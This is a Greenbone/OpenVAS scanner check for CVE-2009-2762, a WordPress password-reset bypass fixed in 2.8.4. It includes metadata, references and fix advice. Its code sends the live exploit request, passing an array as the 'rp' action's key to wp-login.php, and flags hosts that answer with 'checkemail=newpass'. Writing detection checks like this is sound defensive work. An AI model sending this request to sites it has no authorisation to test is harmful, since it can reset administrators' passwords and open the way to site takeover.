WordPress wp-login.php Security Bypass Vulnerability

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CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900913");
  script_version("2023-03-01T10:20:04+0000");
  script_tag(name:"last_modification", value:"2023-03-01 10:20:04 +0000 (Wed, 01 Mar 2023)");
  script_tag(name:"creation_date", value:"2009-08-20 09:27:17 +0200 (Thu, 20 Aug 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-2762");
  script_name("WordPress wp-login.php Security Bypass Vulnerability");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/9410");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36014");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/52382");
  script_xref(name:"URL", value:"http://wordpress.org/development/2009/08/2-8-4-security-release/");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_tag(name:"impact", value:"Attackers can exploit this issue to bypass security restrictions and change
  the administrative password.");

  script_tag(name:"affected", value:"WordPress version prior to 2.8.4 on all running platform.");

  script_tag(name:"insight", value:"The flaw is due to an error in the wp-login.php script password reset
  mechanism which can be exploited by passing an array variable in a resetpass (aka rp) action.");

  script_tag(name:"solution", value:"Update to Version 2.8.4 or later.");

  script_tag(name:"summary", value:"WordPress is prone to a Security Bypass vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = string(dir, "/wp-login.php?action=rp&key[]=");
sndReq = http_get(item:url, port:port);
rcvRes = http_send_recv(port:port, data:sndReq);

if("checkemail=newpass" >< rcvRes) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);